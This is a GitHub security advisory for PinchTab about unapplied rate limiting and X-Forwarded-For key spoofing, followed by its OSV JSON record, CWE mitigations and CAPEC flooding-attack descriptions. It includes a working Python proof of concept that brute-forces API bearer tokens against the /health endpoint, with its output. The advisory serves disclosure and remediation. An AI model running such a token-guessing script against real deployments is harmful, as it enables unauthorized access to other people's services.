Because RateLimitMiddleware was never referenced from the production handler chain in v0.7.7 through v0.8.3, the intended request throttling was inactive in those releases.
Issue 2 — X-Forwarded-For trust in the original limiter (v0.7.7 through v0.8.3):
Even if the middleware had been applied, the original IP identification was bypassable:
// internal/handlers/middleware.go — v0.8.3
host, _, _ := net.SplitHostPort(r.RemoteAddr) // real IP
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
// No validation that request came from a trusted proxy
// Client can set this header to any value
host = strings.TrimSpace(strings.Split(xff, ",")[0])
}
// host is now client-influenced — rate limit key is spoofable
In v0.7.7 through v0.8.3, if the limiter had been enabled, a client could have influenced the rate-limit key through X-Forwarded-For. This made the original limiter unsuitable without an explicit trusted-proxy model.
Issue 3 — /health and /metrics remained exempt through v0.8.4:
v0.8.4 wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for /health and /metrics:
// internal/handlers/middleware.go — v0.8.4
func RateLimitMiddleware(next http.Handler) http.Handler {
startRateLimiterJanitor(rateLimitWindow, evictionInterval)
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
p := strings.TrimSpace(r.URL.Path)
if p == "/health" || p == "/metrics" || strings.HasPrefix(p, "/health/") || strings.HasPrefix(p, "/metrics/") {
next.ServeHTTP(w, r)
return
}
host := authn.ClientIP(r)
// ...
})
}
That left GET /health unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through v0.8.4.
PoC
This PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example password.
PoC Code
#!/usr/bin/env python3
# brute_force_poc.py — demonstrates unthrottled token guessing on /health
import urllib.request, urllib.error, time, sys
TARGET = "http://localhost:9867/health"
WORDLIST = [f"wrong-{i:03d}" for i in range(150)] + ["password"]
counts = {}
print(f"[*] Brute-forcing {TARGET} — no rate limit protection")
start = time.time()
for token in WORDLIST:
req = urllib.request.Request(TARGET)
req.add_header("Authorization", f"Bearer {token}")
try:
with urllib.request.urlopen(req, timeout=5) as r:
print(f"[+] FOUND: token={token!r} HTTP={r.status}")
counts[r.status] = counts.get(r.status, 0) + 1
sys.exit(0)
except urllib.error.HTTPError as e:
print(f"[-] token={token!r} HTTP={e.code}")
counts[e.code] = counts.get(e.code, 0) + 1
elapsed = time.time() - start
print(f"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s — "
f"{len(WORDLIST)/elapsed:.0f} req/s (no 429 received)")
print(f"[*] status counts: {counts}")
After run
python3 ratelimit.py
[*] Brute-forcing http://localhost:9867/health — no rate limit protection
[-] token='wrong-000' HTTP=401
...
[-] token='wrong-149' HTTP=401
[+] FOUND: token='password' HTTP=200
[*] 151 attempts in 0.84s — 180 req/s (no 429 received)
[*] status counts: {401: 150, 200: 1}
Observation:
1. In v0.7.7 through v0.8.3, rapid requests do not return HTTP 429 because RateLimitMiddleware is not active in production.
2. In v0.8.4, the same /health PoC still does not return HTTP 429 because /health is explicitly exempted from rate limiting.
3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.
4. The original X-Forwarded-For behavior in v0.7.7 through v0.8.3 shows that the first limiter design would not have been safe to rely on behind untrusted clients.
5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.
Impact
- Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.
- Loss of the intended per-IP throttling for burst requests against protected endpoints in
v0.7.7throughv0.8.3, and against/healthinv0.8.4. - Higher abuse potential for intentionally exposed deployments than intended by the middleware design.
- This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.
Suggested Remediation
- Apply
RateLimitMiddlewarein the production handler chain for authenticated routes. - Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.
- Do not exempt auth-checkable endpoints such as
/healthand/metricsfrom rate limiting. - Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.
Screenshot capture
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pinchtab/pinchtab"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.7"
},
{
"fixed": "0.8.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33621"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:47:40Z",
"nvd_published_at": "2026-03-26T21:17:06Z",
"severity": "MODERATE"
},
"details": "### Summary\nPinchTab `v0.7.7` through `v0.8.4` contain incomplete request-throttling protections for auth-checkable endpoints. In `v0.7.7` through `v0.8.3`, a fully implemented `RateLimitMiddleware` existed in `internal/handlers/middleware.go` but was not inserted into the production HTTP handler chain, so requests were not subject to the intended per-IP throttle.\n\nIn the same pre-`v0.8.4` range, the original limiter also keyed clients using `X-Forwarded-For`, which would have allowed client-controlled header spoofing if the middleware had been enabled. `v0.8.4` addressed those two issues by wiring the limiter into the live handler chain and switching the key to the immediate peer IP, but it still exempted `/health` and `/metrics` from rate limiting even though `/health` remained an auth-checkable endpoint when a token was configured.\n\nThis issue weakens defense in depth for deployments where an attacker can reach the API, especially if a weak human-chosen token is used. It is not a direct authentication bypass or token disclosure issue by itself. PinchTab is documented as local-first by default and uses `127.0.0.1` plus a generated random token in the recommended setup.\n\nPinchTab\u0027s default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.\n\nThis was fully addressed in `v0.8.5` by applying `RateLimitMiddleware` in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the `/health` and `/metrics` exemption so auth-checkable endpoints are throttled as well.\n\n### Details\n**Issue 1 \u2014 Middleware never applied in `v0.7.7` through `v0.8.3`:**\nThe production server wrapped the HTTP mux without `RateLimitMiddleware`:\n\n```\n// internal/server/server.go \u2014 v0.8.3\nhandlers.LoggingMiddleware(\n handlers.CorsMiddleware(\n handlers.AuthMiddleware(cfg, mux),\n // RateLimitMiddleware is not present here in v0.8.3\n ),\n)\n```\n\nThe function exists and is fully implemented:\n\n```\n// internal/handlers/middleware.go \u2014 v0.8.3\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n // ... 120 req / 10s logic ...\n })\n}\n```\n\nBecause `RateLimitMiddleware` was never referenced from the production handler chain in `v0.7.7` through `v0.8.3`, the intended request throttling was inactive in those releases.\n\n**Issue 2 \u2014 `X-Forwarded-For` trust in the original limiter (`v0.7.7` through `v0.8.3`):**\nEven if the middleware had been applied, the original IP identification was bypassable:\n\n```\n// internal/handlers/middleware.go \u2014 v0.8.3\nhost, _, _ := net.SplitHostPort(r.RemoteAddr) // real IP\nif xff := r.Header.Get(\"X-Forwarded-For\"); xff != \"\" {\n // No validation that request came from a trusted proxy\n // Client can set this header to any value\n host = strings.TrimSpace(strings.Split(xff, \",\")[0])\n}\n// host is now client-influenced \u2014 rate limit key is spoofable\n```\n\nIn `v0.7.7` through `v0.8.3`, if the limiter had been enabled, a client could have influenced the rate-limit key through `X-Forwarded-For`. This made the original limiter unsuitable without an explicit trusted-proxy model.\n\n**Issue 3 \u2014 `/health` and `/metrics` remained exempt through `v0.8.4`:**\n`v0.8.4` wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for `/health` and `/metrics`:\n\n```\n// internal/handlers/middleware.go \u2014 v0.8.4\nfunc RateLimitMiddleware(next http.Handler) http.Handler {\n startRateLimiterJanitor(rateLimitWindow, evictionInterval)\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n p := strings.TrimSpace(r.URL.Path)\n if p == \"/health\" || p == \"/metrics\" || strings.HasPrefix(p, \"/health/\") || strings.HasPrefix(p, \"/metrics/\") {\n next.ServeHTTP(w, r)\n return\n }\n host := authn.ClientIP(r)\n // ...\n })\n}\n```\n\nThat left `GET /health` unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through `v0.8.4`.\n\n### PoC\nThis PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example `password`.\n\n**PoC Code**\n```\n#!/usr/bin/env python3\n# brute_force_poc.py \u2014 demonstrates unthrottled token guessing on /health\nimport urllib.request, urllib.error, time, sys\n\nTARGET = \"http://localhost:9867/health\"\nWORDLIST = [f\"wrong-{i:03d}\" for i in range(150)] + [\"password\"]\ncounts = {}\n\nprint(f\"[*] Brute-forcing {TARGET} \u2014 no rate limit protection\")\nstart = time.time()\nfor token in WORDLIST:\n req = urllib.request.Request(TARGET)\n req.add_header(\"Authorization\", f\"Bearer {token}\")\n try:\n with urllib.request.urlopen(req, timeout=5) as r:\n print(f\"[+] FOUND: token={token!r} HTTP={r.status}\")\n counts[r.status] = counts.get(r.status, 0) + 1\n sys.exit(0)\n except urllib.error.HTTPError as e:\n print(f\"[-] token={token!r} HTTP={e.code}\")\n counts[e.code] = counts.get(e.code, 0) + 1\n\nelapsed = time.time() - start\nprint(f\"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s \u2014 \"\n f\"{len(WORDLIST)/elapsed:.0f} req/s (no 429 received)\")\nprint(f\"[*] status counts: {counts}\")\n```\n\nAfter run\n```\npython3 ratelimit.py\n[*] Brute-forcing http://localhost:9867/health \u2014 no rate limit protection\n[-] token=\u0027wrong-000\u0027 HTTP=401\n...\n[-] token=\u0027wrong-149\u0027 HTTP=401\n[+] FOUND: token=\u0027password\u0027 HTTP=200\n[*] 151 attempts in 0.84s \u2014 180 req/s (no 429 received)\n[*] status counts: {401: 150, 200: 1}\n```\n\n**Observation:**\n1. In `v0.7.7` through `v0.8.3`, rapid requests do not return HTTP 429 because `RateLimitMiddleware` is not active in production.\n2. In `v0.8.4`, the same `/health` PoC still does not return HTTP 429 because `/health` is explicitly exempted from rate limiting.\n3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.\n4. The original `X-Forwarded-For` behavior in `v0.7.7` through `v0.8.3` shows that the first limiter design would not have been safe to rely on behind untrusted clients.\n5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.\n\n### Impact\n1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.\n2. Loss of the intended per-IP throttling for burst requests against protected endpoints in `v0.7.7` through `v0.8.3`, and against `/health` in `v0.8.4`.\n3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.\n4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.\n\n### Suggested Remediation\n1. Apply `RateLimitMiddleware` in the production handler chain for authenticated routes.\n2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.\n3. Do not exempt auth-checkable endpoints such as `/health` and `/metrics` from rate limiting.\n4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.\n\n**Screenshot capture**\n\u003cimg width=\"553\" height=\"105\" alt=\"\u0e20\u0e32\u0e1e\u0e16\u0e48\u0e32\u0e22\u0e2b\u0e19\u0e49\u0e32\u0e08\u0e2d 2569-03-18 \u0e40\u0e27\u0e25\u0e32 13 03 01\" src=\"https://github.com/user-attachments/assets/ab5cd7af-5a67-40ae-aae3-1f4737afd32e\" /\u003e",
"id": "GHSA-j65m-hv65-r264",
"modified": "2026-03-27T21:19:20Z",
"published": "2026-03-24T19:47:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-j65m-hv65-r264"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33621"
},
{
"type": "WEB",
"url": "https://github.com/pinchtab/pinchtab/commit/c619c43a4f29d1d1a481e859c193baf78e0d648b"
},
{
"type": "PACKAGE",
"url": "https://github.com/pinchtab/pinchtab"
},
{
"type": "WEB",
"url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "PinchTab: Unapplied Rate Limiting Middleware Allows Unbounded Brute-Force of API Token"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.